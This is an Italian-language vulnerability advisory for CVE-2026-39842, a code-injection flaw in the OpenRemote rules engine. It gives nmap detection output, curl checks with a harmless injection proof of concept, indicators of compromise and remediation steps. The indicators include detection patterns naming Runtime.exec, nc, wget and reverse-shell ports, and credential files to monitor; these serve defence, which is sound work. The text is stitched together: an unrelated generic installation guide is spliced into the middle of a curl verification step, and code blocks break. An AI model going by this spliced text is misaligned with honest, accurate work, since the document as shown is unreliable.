- **`-v, --verbose`** — Abilita la registrazione dettagliata.
- **`-h, --help`** — Mostra il messaggio di aiuto ed esce.```
Nmap scan report for 192.168.1.100
Host is up (0.0042s latency).
8080/tcp open  http-proxy
| openremote-detect:
|   Status: OpenRemote Detected
|   Version: 1.21.0
|   Vulnerable: YES
|   CVE: CVE-2026-39842
|_  CVSS: 10.0 Critical

Nmap scan report for 192.168.1.101
Host is up (0.0031s latency).
8080/tcp open  http-proxy
| openremote-detect:
|   Status: OpenRemote Detected
|   Version: 1.22.1
|   Vulnerable: NO
|   Fixed Version: 1.22.0
|_  Status: Patched
```
#### Esempio: Scansione Verbosa```bash
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true -oX results.xml 192.168.1.100
```
Output previsto dettagliato:```
| openremote-detect:
|   Host: 192.168.1.100:8080
|   Detection Method: HTTP Banner Analysis
|   Probe Endpoint: /api/info
|   Response Code: 200
|   Version: 1.21.0
|   Version Detected: YES
|   Vulnerable: YES
|   CVE-2026-39842: AFFECTED
|   CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
|   CVSS Score: 10.0
|   Fix Available: YES
|   Fixed Version: 1.22.0
|   Authentication Required: YES
|   Endpoint Vulnerable: POST /api/{realm}/rules/realm
|_  Endpoint Vulnerable: POST /api/{realm}/rules/asset
```
### Verifica Manuale

Esegui controlli manuali utilizzando curl per verificare la vulnerabilità:

**1. Identificare la versione di OpenRemote**```bash
curl -s http://target:8080/api/info | jq .
```
```
# Guida all'installazione

## Requisiti

- Python 3.8 o superiore
- pip
- Git

## Installazione

### 1. Clonare il repository

```bash
git clone https://github.com/example/tool.git
cd tool
```

### 2. Installare le dipendenze

```bash
pip install -r requirements.txt
```

### 3. Configurare l'ambiente

Copia il file di configurazione di esempio e modificalo secondo le tue esigenze:

```bash
cp config.example.yml config.yml
```

## Utilizzo

Per avviare lo strumento, esegui:

```bash
python main.py --config config.yml
```

### Opzioni della riga di comando

| Opzione | Descrizione |
|---------|-------------|
| `--config` | Percorso del file di configurazione |
| `--verbose` | Abilita l'output dettagliato |
| `--output` | Directory di output per i risultati |

## Risoluzione dei problemi

### Errore: "ModuleNotFoundError"

Assicurati di aver installato tutte le dipendenze:

```bash
pip install -r requirements.txt
```

### Errore di permessi

Se riscontri problemi di permessi, prova a eseguire con `sudo` o utilizza un ambiente virtuale:

```bash
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
```

## Licenza

Questo progetto è distribuito sotto la licenza MIT. Consulta il file `LICENSE` per maggiori dettagli.
``````json
{
  "version": "1.21.0",
  "name": "OpenRemote",
  "instanceId": "instance-123"
}
```
**2. Controlla l'Endpoint delle Regole**```bash
curl -s -H "Authorization: Bearer TOKEN" \
  http://target:8080/api/master/rules/realm | head -20
```
Se restituisce 401 o 403, l'endpoint esiste ma richiede autenticazione.

**3. Autenticarsi e testare l'iniezione di espressioni**```bash
curl -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{
    "name": "test_rule",
    "trigger": "timer",
    "ruleExpression": "1 + 1"
  }' \
  http://target:8080/api/master/rules/realm
```
Se la creazione riesce e la versione è <= 1.21.0, l'istanza è vulnerabile.

**4. Test dell'esecuzione di JavaScript (Proof of Concept)**```bash
curl -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{
    "name": "poc_rule",
    "trigger": "timer",
    "ruleExpression": "var x = 5; x * 2;"
  }' \
  http://target:8080/api/master/rules/realm
```
**5. Identificare il nome del Realm**```bash
curl -s -H "Authorization: Bearer TOKEN" \
  http://target:8080/api/admin/realms | jq .[].name
```
Common realm names: `master`, `default`, `main`

---

## Indicatori di Compromissione

### Indicatori nei Log

Cerca questi pattern nei log delle applicazioni:

**Creazione di Regole con Payload JavaScript**```
Pattern: POST /api/.*/rules/.* with JavaScript containing Java.type
Example Log: "2026-04-16 14:32:18 POST /api/master/rules/realm - RulesetDeployment evaluating expression with Java.type"
```
**Tentativi di esecuzione di comandi nelle regole**```
Pattern: "Java.type" or "java.lang.Runtime" or "exec(" in rule expressions
Example Log: "RulesetDeployment - Expression contains Runtime.getRuntime().exec()"
```
**Esecuzione imprevista di processi da Java**```
Pattern: Child processes spawned by OpenRemote Java process
Command: ps aux | grep -i openremote
Look for: bash, sh, curl, wget, nc spawned by java process
```
**Anomalie di Accesso al File System**```
Pattern: Unexpected file reads from application directory
Files to monitor:
- /opt/openremote/config/
- /opt/openremote/.env
- /root/.ssh/
- /etc/passwd
```
**Modelli di Accesso al Database**```
Pattern: SELECT queries accessing other realms' data
Anomaly: Queries from rules engine accessing cross-tenant data
Example: SELECT * FROM ASSET WHERE REALM_ID NOT IN (user_realm)
```
### Indicatori di Rete

**Connessioni in uscita dal processo OpenRemote**```
netstat -tlnp | grep -i java
Look for: Unexpected ESTABLISHED connections
Example: java process connecting to external C2 servers
```
**Callback di Reverse Shell**```
Pattern: Outbound TCP/UDP connections from port 8080 server
Destinations: Suspicious IPs, non-standard ports
Command: tcpdump -i any -n 'src host TARGET and (dst port 443 or dst port 4444 or dst port 9001)'
```
**Tentativi di Movimento Laterale**```
Pattern: Connections to internal resources (databases, APIs)
From: OpenRemote process
To: Database servers, internal APIs, SSH services
```
### Indicatori del File System

**File sospetti nella directory OpenRemote**```
/opt/openremote/.backdoor
/opt/openremote/shell.sh
/opt/openremote/config/stolen_data.txt
/var/tmp/openremote_exploit
/tmp/.java*
```
**Binari OpenRemote modificati**```
find /opt/openremote -type f -newer /opt/openremote/VERSION.txt
find /opt/openremote -name "*.jar" -exec sha256sum {} \; | compare with known hashes
```
**Processi Cron o di Persistenza**```
cat /etc/cron.d/* | grep openremote
cat /var/spool/cron/crontabs/* | grep -i java
cat ~/.bashrc ~/.bash_profile | grep -v '^#'
```
### Indicatori di memoria e di processo

**Variabili d'ambiente sospette**```
cat /proc/$(pgrep -f openremote | head -1)/environ | tr '\0' '\n' | grep -E 'REVERSE|SHELL|BACKDOOR'
```
**Payload residenti in memoria**```
strings /proc/$(pgrep -f openremote | head -1)/maps | grep -E 'bash|nc|/tmp'
```
---

## Remediation

### AZIONI IMMEDIATE (0-24 ore)

**1. Aggiornare alla Versione Corretta**

La correzione completa è disponibile solo in OpenRemote 1.22.0+, che rimuove completamente il motore di regole JavaScript.```bash
# Backup current installation
cp -r /opt/openremote /opt/openremote.backup.1.21.0
mysqldump -u root -p openremote > /backup/openremote_1.21.0.sql

# Download and install 1.22.0+
wget https://releases.openremote.io/openremote-1.22.0.tar.gz
tar -xzf openremote-1.22.0.tar.gz -C /opt/
systemctl restart openremote

# Verify version
curl -s http://localhost:8080/api/info | jq .version
```
**2. Limitare l'Accesso alle API**

Se un aggiornamento immediato non è possibile, limitare l'accesso agli endpoint vulnerabili a livello di firewall/proxy inverso:```nginx
# Nginx example
location ~ ^/api/.*/rules/ {
    return 403;
}
```
**3. Controlla le Regole Attive**

Elenca tutte le regole esistenti e verifica la presenza di JavaScript sospetto:```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/master/rules/realm | \
  jq '.[] | select(.ruleExpression | contains("Java.type") or contains("Runtime"))'
```
Delete any rules containing Java interop:```bash
curl -X DELETE \
  -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/master/rules/realm/{RULE_ID}
```
**4. Esaminare i log di accesso**

Verificare i tentativi di sfruttamento negli ultimi 30 giorni:```bash
grep -r "rules/realm\|rules/asset" /opt/openremote/logs/ | \
  grep -i "java\|runtime\|exec\|type"
```
**5. Rotazione delle Credenziali**

Ruota tutte le credenziali potenzialmente esposte:```
- OpenRemote admin passwords
- Database passwords
- API keys and tokens
- SSH keys if accessible
- Environment variable secrets
```
### AZIONI A BREVE TERMINE (1-7 giorni)

**1. Segmentazione della rete**

Limitare l'accesso all'API OpenRemote solo alle reti autorizzate:```
- Block external internet access to port 8080
- Implement VPN/SSO requirement for API access
- Use API gateway with authentication/authorization
```
**2. Audit dei Ruoli**

Rivedi e riduci al minimo gli utenti con il ruolo `write:rules`:```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/admin/users | \
  jq '.[] | select(.roles | contains("write:rules"))'
```
Rimuovi il ruolo `write:rules` da tutti gli utenti non essenziali.

**3. Abilita la registrazione delle richieste**

Configura una registrazione dettagliata per tutte le richieste API:```yaml
# application.properties
logging.level.org.openremote.manager.rules=DEBUG
logging.level.org.openremote.manager.rules.RulesResource=TRACE
```
**4. Audit del Database**

Cerca nel database le regole dannose create dopo una data specifica:```sql
SELECT id, name, ruleset_def, created_on 
FROM RULE 
WHERE created_on > '2026-04-01' 
AND (
  ruleset_def LIKE '%Java.type%' 
  OR ruleset_def LIKE '%Runtime%'
  OR ruleset_def LIKE '%exec%'
);
```
**5. Threat Hunting**

Esegui scans complete di sicurezza sul server OpenRemote:```bash
# ClamAV malware scan
clamscan -r --remove /opt/openremote/

# Check for backdoors
chkrootkit
rkhunter --check --skip-warnings

# File integrity verification
aide --check
```
### AZIONI A LUNGO TERMINE (7-30 giorni)

**1. Completamento dell'hardening del sistema**

- Eseguire OpenRemote in un container con privilegi limitati (non-root)
- Implementare policy SELinux o AppArmor
- Utilizzare file system in sola lettura dove possibile
- Abilitare la registrazione di audit a livello di sistema

**2. Implementazione del controllo degli accessi**

- Implementare l'autenticazione multi-fattore per gli utenti amministratori
- Utilizzare OAuth2/OIDC per l'accesso alle API invece dell'autenticazione tramite token
- Implementare il principio del minimo privilegio per tutti i ruoli
- Revisioni e certificazioni periodiche degli accessi

**3. Sicurezza dell'applicazione**

- Implementare regole Web Application Firewall (WAF) per il motore delle regole
- Abilitare il rate limiting delle richieste sugli endpoint sensibili
- Implementare limiti sulla dimensione delle richieste
- Validare rigorosamente tutti gli input utente

**4. Monitoraggio e alerting**

Distribuire le regole di rilevamento SIEM:```
Alert on:
- Any POST to /api/*/rules/* endpoints with JavaScript content
- Java.type or Runtime in request body
- Multiple rule creation attempts in short time window
- Rule modification by non-admin users
- Unusual process spawning from OpenRemote JVM
```
**5. Piano di risposta agli incidenti**

Creare e testare le procedure di risposta agli incidenti:

- Passaggi di isolamento per le istanze OpenRemote compromesse
- Procedure di raccolta delle prove forensi
- Procedure di notifica per i clienti interessati
- Procedure di ripristino e pulizia
- Revisioni post-incidente

**6. Monitoraggio continuo**

Implementare un monitoraggio continuo della sicurezza:```bash
# Daily vulnerability scan
nmap -p 8080 --script openremote-detect \
  $(cat /etc/openremote/monitored_hosts.txt) \
  --script-args 'onerror=continue' \
  -oX /var/log/openremote-scan.xml

# Automated alerts for vulnerable versions
if version <= 1.21.0; then
    send_alert "CVE-2026-39842: Unpatched OpenRemote detected"
fi
```
---

## Riferimenti

- **Avviso ufficiale**: https://github.com/advisories/GHSA-7mqr-33rv-p3mp
- **Registro CVE**: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39842
- **Voce NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-39842
- **Repository OpenRemote**: https://github.com/openremote/openremote
- **Sicurezza OpenRemote**: https://openremote.io/security
- **CWE-94 Code Injection**: https://cwe.mitre.org/data/definitions/94.html
- **CWE-917 EL Injection**: https://cwe.mitre.org/data/definitions/917.html
- **Calcolatore CVSS**: https://www.first.org/cvss/calculator/3.1
- **Sicurezza Nashorn**: https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/api.html
- **Java SecurityManager**: https://docs.oracle.com/javase/8/docs/technotes/guides/security/permissions.html

---

## Autore

**Kerem Oruc**

Ricercatore di sicurezza, Divulgazione delle vulnerabilità

Per domande, segnalazioni o informazioni aggiuntive relative a questa vulnerabilità, contattare l'autore tramite i canali di divulgazione responsabile.

---

**Ultimo aggiornamento**: 2026-04-16
**Versione**: 1.0
**Stato**: Pubblico
Scarica lo strumento
AspettoDettagli
ID CVECVE-2026-39842
ID GHSAGHSA-7mqr-33rv-p3mp
Tipo di vulnerabilitàIniezione di codice / Iniezione di Expression Language
Punteggio CVSS10.0 (Critico)
CWECWE-94, CWE-917
ProdottoOpenRemote
Versioni interessate<= 1.21.0
Versione corretta>= 1.22.0
Autenticazione richiestaSì
Livello di privilegio necessarioRuolo write:rules (non-superuser)
Endpoint vulnerabiliPOST /api/{realm}/rules/realm, POST /api/{realm}/rules/asset
Livello di esecuzione RCEroot
SfruttabilitàAlta
ComplessitàBassa
Data di scoperta2026